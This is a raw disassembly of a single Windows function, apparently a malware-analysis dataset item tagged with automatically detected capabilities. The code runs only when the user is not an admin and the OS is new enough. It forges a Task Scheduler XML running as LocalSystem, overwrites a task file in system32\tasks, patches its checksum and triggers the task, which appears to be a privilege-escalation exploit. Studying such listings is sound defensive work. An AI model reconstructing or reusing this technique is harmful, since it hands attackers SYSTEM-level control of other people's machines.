Function at 0x403690
Capabilities:
Check os version
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x914
push ebx
push esi
push edi
mov ecx, 0x8f
mov esi, str.___Principals__r_n_____Principal_id_LocalSystem___r_n_______UserId_S_1_5_18__UserId__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Actions_Context_LocalSystem___r_n_____Exec__r_n_______Command__s__Command__r_n______Exec__r_n____Actions__r_n__Task__r_n____00____r_n
lea edi, [esp + 0x6e0]
rep movsd dword es:[edi], dword [esi]
push 0x1b4
movsw word es:[edi], word [esi]
lea eax, [esp + 0x530]
push 0
mov ecx, 0x15
mov esi, str._globalroot_systemroot_system32_tasks_
lea edi, [esp + 0x4e0]
push eax
mov dword [esp + 0x20], 0
rep movsd dword es:[edi], dword [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x2da]
push edx
mov word [esp + 0x2dc], cx
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xd2]
push ecx
mov word [esp + 0xd4], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x403b16
lea edx, [esp + 0x30]
push edx
mov dword [esp + 0x34], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x403b16
cmp dword [esp + 0x40], 2
jne 0x403b16
cmp dword [esp + 0x34], 6
jb 0x403b16
lea eax, [esp + 0x2c]
push eax
call fcn.004035f0
cmp eax, 0x80004005
jne 0x403b16
cmp dword [esp + 0x2c], 3
jne 0x403b16
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.task_d
lea ecx, [esp + 0xd0]
push 0x208
push ecx
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea eax, [esp + 0xd8]
mov edx, eax
add esp, 0x10
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4037b0
sub eax, edx
lea edi, [esp + 0x4d8]
add edi, 0xfffffffe
jmp 0x4037d0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4037d0
push 0x208
mov esi, edx
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x2d4]
push edx
push 0
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0xc8]
push eax
call fcn.004031a0
test eax, eax
jne 0x403b16
lea eax, [esp + 0x6e0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403820
sub eax, edx
sar eax, 1
lea esi, [eax + eax + 0x208]
test esi, esi
je 0x403b16
lea edi, [esi + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x403b16
push edi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [esp + 0x2d0]
push ecx
lea edx, [esp + 0x6e4]
push edx
push esi
push ebx
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x403af4
xor edi, edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0x18]
push ecx
push esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov edi, dword [esp + 0x18]
test edi, edi
je 0x403af4
lea eax, [esp + 0x6e0]
lea edx, [eax + 2]
lea esi, [esi]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4038f0
sub eax, edx
sar eax, 1
lea ecx, [edi + eax*2 + 0x410]
call fcn.004014f0
mov ebx, eax
test ebx, ebx
mov dword [esp + 0xc], ebx
je 0x403af0
push 0
lea edx, [esp + 0x2c]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebx + 2]
add edi, 0xfffffffe
push 0
push edi
push eax
call fcn.00408e60
mov edi, eax
push str._Actions
push ebx
not edi
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x403ace
mov ebx, eax
mov ecx, dword [esp + 0x10]
sub ebx, ecx
jmp 0x403960
movzx edx, word [ecx]
mov word [ebx + ecx], dx
add ecx, 2
test dx, dx
jne 0x403960
push str.00___
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x403aca
mov eax, dword [esp + 0xc]
add eax, 2
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403992
push 0
sub eax, edx
sar eax, 1
lea eax, [eax + eax - 0xe]
push eax
mov eax, dword [esp + 0x14]
add eax, 2
push eax
call fcn.00408e60
not eax
lea ecx, [ebx + 0xc]
mov dword [ebx], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], 7
jmp 0x4039d0
movzx eax, byte [ecx + 1]
mov edx, edi
shr edx, 0x18
xor eax, dword [edx*4 + 0x45c460]
shl edi, 8
xor eax, edi
movzx edi, byte [ecx]
mov edx, eax
shr edx, 0x18
shl eax, 8
xor eax, dword [edx*4 + 0x45c460]
sub ecx, 2
xor edi, eax
dec dword [esp + 0x18]
jne 0x4039d0
push 0
push 0
push 0
push esi
mov dword [ebx], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea esi, [esi]
mov ebx, dword [esp + 0xc]
mov eax, ebx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403a20
push 0
lea ecx, [esp + 0x2c]
push ecx
sub eax, edi
sar eax, 1
lea edx, [eax + eax]
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x46b420]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0
push eax
call edx
test eax, eax
js 0x403aca
mov eax, dword [0x46b420]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0xffffffffffffffff
push eax
call edx
test eax, eax
js 0x403aca
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov esi, dword [esp + 0x18]
mov ecx, dword [0x46b420]
mov edx, dword [ecx]
push 0
sub esp, 0x10
mov ebx, esp
mov dword [ebx], esi
mov eax, dword [esp + 0x30]
mov dword [ebx + 4], eax
mov eax, dword [esp + 0x34]
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x38]
mov dword [ebx + 0xc], eax
mov eax, dword [edx + 0x30]
push ecx
call eax
lea ecx, [esp + 0x18]
mov ebx, eax
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x403aca
mov dword [esp + 0x14], 1
mov ebx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x403af0
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x403b16
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x46b424]
test eax, eax
je 0x403b27
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, dword [0x46b420]
test eax, eax
je 0x403b38
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret